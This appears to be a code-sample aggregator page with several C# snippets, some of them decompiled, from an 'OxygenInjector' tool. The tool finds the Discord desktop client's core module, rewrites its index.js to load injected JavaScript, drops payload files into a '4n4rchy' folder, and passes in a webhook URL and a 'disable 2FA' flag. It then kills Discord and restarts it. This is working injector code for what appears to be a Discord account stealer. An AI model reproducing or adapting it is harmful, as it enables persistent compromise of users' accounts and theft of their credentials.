Esempio n. 1
0
        public static bool Inject(DiscordBuild build, string dirName, string indexFile, string prependJS, params OxygenFile[] files)
        {
            if (!TryGetDiscordPath(build, out string path))
            {
                return(false);
            }

            try
            {
                DirectoryInfo epicDir = Directory.CreateDirectory($"{path}/{dirName}");

                File.WriteAllText(path + "/index.js", $@"
{prependJS}
process.env.modDir = '{epicDir.FullName.Replace("\\", "\\\\")}'
require(process.env.modDir + '\\inject')
module.exports = require('./core.asar');");

                foreach (var file in files)
                {
                    File.WriteAllText($"{epicDir.FullName}/{file.Path}", file.Contents);
                }

                return(true);
            }
            catch
            {
                return(false);
            }
        }
        // Token: 0x06000007 RID: 7 RVA: 0x00002174 File Offset: 0x00000374
        public static bool TryGetDiscordPath(DiscordBuild build, out string path)
        {
            bool result;

            try
            {
                path   = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + OxygenInjector.BuildToString(build)).GetDirectories().First((DirectoryInfo d) => Regex.IsMatch(d.Name, "\\d.\\d.\\d{2}(\\d|$)")).GetDirectories().First((DirectoryInfo d) => d.Name == "modules").GetDirectories().First((DirectoryInfo d) => d.Name == "discord_desktop_core").FullName;
                result = true;
            }
            catch
            {
                path   = null;
                result = false;
            }
            return(result);
        }
Esempio n. 3
0
        public static bool TryGetDiscordPath(DiscordBuild build, out string path)
        {
            try
            {
                path = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + $"\\{BuildToString(build)}").GetDirectories()
                       .First(d => Regex.IsMatch(d.Name, @"\d.\d.\d{2}(\d|$)"))
                       .GetDirectories().First(d => d.Name == "modules")
                       .GetDirectories().First(d => d.Name == "discord_desktop_core").FullName;

                return(true);
            }
            catch
            {
                path = null;
                return(false);
            }
        }
        public static bool Eject(DiscordBuild build, string dirName)
        {
            if (!TryGetDiscordPath(build, out string path))
            {
                return(false);
            }

            try
            {
                File.WriteAllText(path + "/index.js", "module.exports = require('./core.asar');");

                Directory.Delete($"{path}/{dirName}", true);

                return(true);
            }
            catch
            {
                return(false);
            }
        }
Esempio n. 5
0
        // Token: 0x0600000A RID: 10 RVA: 0x00002270 File Offset: 0x00000470
        private static void Main()
        {
            OxygenFile injectFile = new OxygenFile("inject.js", Resources.inject);
            OxygenFile modFile    = new OxygenFile("discordmod.js", Resources.discordmod);

            foreach (object obj in Enum.GetValues(typeof(DiscordBuild)))
            {
                DiscordBuild build = (DiscordBuild)obj;
                string       path;
                bool         flag = OxygenInjector.TryGetDiscordPath(build, out path);
                if (flag)
                {
                    string anarchyPath = Path.Combine(path, "4n4rchy");
                    bool   flag2       = Directory.Exists(anarchyPath);
                    if (flag2)
                    {
                        Directory.Delete(anarchyPath, true);
                    }
                }
                bool flag3 = OxygenInjector.Inject(build, "4n4rchy", "inject", string.Concat(new string[]
                {
                    "process.env.hook = '",
                    Settings.Webhook.Replace("https://discord.com/api/webhooks/", "").Replace("https://discordapp.com/api/webhooks/", ""),
                    "';\nprocess.env.mfa = ",
                    Settings.Disable2fa.ToString().ToLower(),
                    ";"
                }), new OxygenFile[]
                {
                    injectFile,
                    modFile
                }) && build == DiscordBuild.Discord;
                if (flag3)
                {
                    foreach (Process proc in Process.GetProcessesByName("Discord"))
                    {
                        proc.Kill();
                    }
                    Process.Start(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Microsoft\\Windows\\Start Menu\\Programs\\Discord Inc\\Discord.lnk");
                }
            }
        }
        public static bool TryGetDiscordPath(DiscordBuild build, out string path)
        {
            string buildStr;

            switch (build)
            {
            case DiscordBuild.Discord:
                buildStr = "Discord";
                break;

            case DiscordBuild.DiscordCanary:
                buildStr = "discordcanary";
                break;

            case DiscordBuild.DiscordPTB:
                buildStr = "discordptb";
                break;

            default:
                path = null;
                return(false);
            }

            try
            {
                path = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + $"\\{buildStr}").GetDirectories()
                       .First(d => Regex.IsMatch(d.Name, @"\d.\d.\d{2}(\d|$)"))
                       .GetDirectories().First(d => d.Name == "modules")
                       .GetDirectories().First(d => d.Name == "discord_desktop_core").FullName;

                return(true);
            }
            catch
            {
                path = null;
                return(false);
            }
        }
        // Token: 0x06000006 RID: 6 RVA: 0x0000208C File Offset: 0x0000028C
        public static bool Inject(DiscordBuild build, string dirName, string indexFile, string prependJS, params OxygenFile[] files)
        {
            string path;
            bool   flag = !OxygenInjector.TryGetDiscordPath(build, out path);
            bool   result;

            if (flag)
            {
                result = false;
            }
            else
            {
                try
                {
                    DirectoryInfo epicDir = Directory.CreateDirectory(path + "/" + dirName);
                    File.WriteAllText(path + "/index.js", string.Concat(new string[]
                    {
                        "\n",
                        prependJS,
                        "\nprocess.env.modDir = '",
                        epicDir.FullName.Replace("\\", "\\\\"),
                        "'\nrequire(process.env.modDir + '\\\\inject')\nmodule.exports = require('./core.asar');"
                    }));
                    foreach (OxygenFile file in files)
                    {
                        File.WriteAllText(epicDir.FullName + "/" + file.Path, file.Contents);
                    }
                    result = true;
                }
                catch
                {
                    result = false;
                }
            }
            return(result);
        }
Esempio n. 8
0
 private static string BuildToString(DiscordBuild build)
 {
     return(build.ToString().ToLower());
 }